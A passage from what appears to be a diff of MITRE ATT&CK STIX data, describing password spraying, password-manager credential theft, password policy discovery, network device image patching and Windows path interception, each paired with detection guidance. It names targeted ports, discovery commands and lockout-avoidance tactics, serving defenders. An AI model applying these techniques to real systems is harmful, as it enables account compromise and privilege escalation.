policies. (Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)" + ], + "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1110/001", + "external_id": "T1110.001", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/49.html", + "external_id": "CAPEC-49", + "source_name": "capec" + }, + { + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver" + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A", + "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.", + "source_name": "US-CERT TA18-068A 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Password Managers", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "File: File Access", + "Process: Process Access", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2021-06-21T17:58:03.269Z", + "created": "2021-01-22T16:08:40.629Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)\n Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)", + "x_mitre_contributors": [ + "Matt Burrough, @mattburrough, Microsoft" + ], + "x_mitre_detection": "Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. \n\nConsider monitoring file reads surrounding known password manager applications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1555/005", + "external_id": "T1555.005", + "source_name": "mitre-attack" + }, + { + "url": "https://www.ise.io/casestudies/password-manager-hacking/", + "description": "ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021.", + "source_name": "ise Password Manager February 2019" + }, + { + "url": "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf", + "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", + "source_name": "FoxIT Wocao December 2019" + }, + { + "url": "https://github.com/GhostPack/KeeThief", + "description": "Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8, 2021.", + "source_name": "Github KeeThief" + }, + { + "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3610", + "description": "National Vulnerability Database. (2019, October 9). CVE-2019-3610 Detail. Retrieved April 14, 2021.", + "source_name": "NVD CVE-2019-3610" + }, + { + "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", + "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.", + "source_name": "Cyberreason Anchor December 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Password Policy Discovery", + "x_mitre_data_sources": [ + "User Account: User Account Metadata", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.3", + "modified": "2021-07-26T14:11:39.499Z", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "id": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies).\n\nPassword policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).", + "x_mitre_contributors": [ + "Regina Elwell", + "Isif Ibrahima", + "Sudhanshu Chauhan, @Sudhanshu_C" + ], + "x_mitre_detection": "Monitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1201", + "external_id": "T1201", + "source_name": "mitre-attack" + }, + { + "source_name": "Superuser Linux Password Policies", + "description": "Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.", + "url": "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu" + }, + { + "source_name": "Jamf User Password Policies", + "description": "Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018.", + "url": "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines" + }, + { + "url": "https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html", + "description": "Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021.", + "source_name": "AWS GetPasswordPolicy" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Password Spraying", + "x_mitre_data_sources": [ + "User Account: User Account Authentication", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.2", + "modified": "2021-04-06T12:32:47.678Z", + "created": "2020-02-11T18:39:25.122Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c", + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace", + "Containers" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)", + "John Strand" + ], + "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nConsider the following event IDs:(Citation: Trimarc Detecting Password Spraying)\n\n* Domain Controllers: \"Audit Logon\" (Success & Failure) for event ID 4625.\n* Domain Controllers: \"Audit Kerberos Authentication Service\" (Success & Failure) for event ID 4771.\n* All systems: \"Audit Logon\" (Success & Failure) for event ID 4648.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1110/003", + "external_id": "T1110.003", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/565.html", + "external_id": "CAPEC-565", + "source_name": "capec" + }, + { + "source_name": "BlackHillsInfosec Password Spraying", + "description": "Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017.", + "url": "http://www.blackhillsinfosec.com/?p=4645" + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A", + "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.", + "source_name": "US-CERT TA18-068A 2018" + }, + { + "url": "https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing", + "description": "Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019.", + "source_name": "Trimarc Detecting Password Spraying" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Patch System Image", + "x_mitre_data_sources": [ + "File: File Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-10-22T17:50:46.560Z", + "created": "2020-10-19T19:49:24.129Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Network" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f", + "description": "Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599). Adding new capabilities for the adversary\u2019s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).\n\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \n\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). \n\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1601/001", + "external_id": "T1601.001", + "source_name": "mitre-attack" + }, + { + "url": "https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf", + "description": "Sebastian 'topo' Mu\u00f1iz. (2008, May). Killing the myth of Cisco IOS rootkits. Retrieved October 20, 2020.", + "source_name": "Killing the myth of Cisco IOS rootkits" + }, + { + "url": "https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf", + "description": "Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August). Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode design. Retrieved October 20, 2020.", + "source_name": "Killing IOS diversity myth" + }, + { + "url": "http://2015.zeronights.org/assets/files/05-Nosenko.pdf", + "description": "George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved October 21, 2020.", + "source_name": "Cisco IOS Shellcode" + }, + { + "url": "https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf", + "description": "Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS Forensics. Retrieved October 21, 2020.", + "source_name": "Cisco IOS Forensics Developments" + }, + { + "url": "https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf", + "description": "Graeme Neilson . (2009, August). Juniper Netscreen of the Dead. Retrieved October 20, 2020.", + "source_name": "Juniper Netscreen of the Dead" + }, + { + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.", + "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification" + }, + { + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.", + "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Path Interception", + "x_mitre_version": "1.0", + "modified": "2020-07-06T18:49:35.645Z", + "created": "2017-05-31T21:30:36.140Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_deprecated": true, + "id": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02", + "revoked": false, + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "description": "**This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**\n\nPath interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).", + "x_mitre_effective_permissions": [ + "User", + "Administrator", + "SYSTEM" + ], + "x_mitre_contributors": [ + "Stefan Kanthak" + ], + "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1034", + "external_id": "T1034", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/159.html", + "external_id": "CAPEC-159", + "source_name": "capec" + }, + { + "source_name": "TechNet MS14-019", + "description": "Nagaraju, S. (2014, April 8). MS14-019 \u2013 Fixing a binary hijacking via .cmd or .bat file. Retrieved July 25, 2016.", + "url": "https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/" + }, + { + "source_name": "Microsoft Subkey", + "description": "Microsoft. (n.d.). CurrentControlSet\\Services Subkey Entries. Retrieved November 30, 2014.", + "url": "http://support.microsoft.com/KB/103000" + }, + { + "source_name": "Baggett 2012", + "description": "Baggett, M. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved December 4, 2014.", + "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464" + }, + { + "source_name": "SecurityBoulevard Unquoted Services APR 2018", + "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018.", + "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/" + }, + { + "source_name": "SploitSpren Windows Priv Jan 2018", + "description": "McFarland, R. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.", + "url": "https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/" + }, + { + "source_name": "Microsoft CreateProcess", + "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/ms682425" + }, + { + "source_name": "Hill NT Shell", + "description": "Hill, T. (n.d.). Windows NT Command Shell. Retrieved December 5, 2014.", + "url": "http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120" + }, + { + "source_name": "Microsoft WinExec", + "description": "Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/ms687393" + }, + { + "source_name": "MSDN Environment Property", + "description": "Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Path Interception by PATH Environment Variable", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Process: Process Creation" + ], + "x_mitre_version": "1.0", + "modified": "2020-09-16T16:56:34.583Z", + "created": "2020-03-13T14:10:43.424Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_defense_bypassed": [ + "Application control" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32", + "description": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.\n\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.", + "x_mitre_contributors": [ + "Stefan Kanthak" + ], + "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1574/007", + "external_id": "T1574.007", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/13.html", + "external_id": "CAPEC-13", + "source_name": "capec" + }, + { + "url": "https://capec.mitre.org/data/definitions/38.html", + "external_id": "CAPEC-38", + "source_name": "capec" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Path Interception by Search Order Hijacking", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Process: Process Creation" + ], + "x_mitre_version": "1.0", + "modified": "2020-09-17T19:03:35.217Z", + "created": "2020-03-13T17:48:58.999Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "User", + "SYSTEM" + ], + "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).", + "x_mitre_effective_permissions": [ + "Administrator", + "SYSTEM", + "User" + ], + "x_mitre_contributors": [ + "Stefan Kanthak" + ], + "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1574/008", + "external_id": "T1574.008", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/159.html", + "external_id": "CAPEC-159", + "source_name": "capec" + }, + { + "source_name": "Microsoft CreateProcess", + "description": "Microsoft. (n.d.). CreateProcess 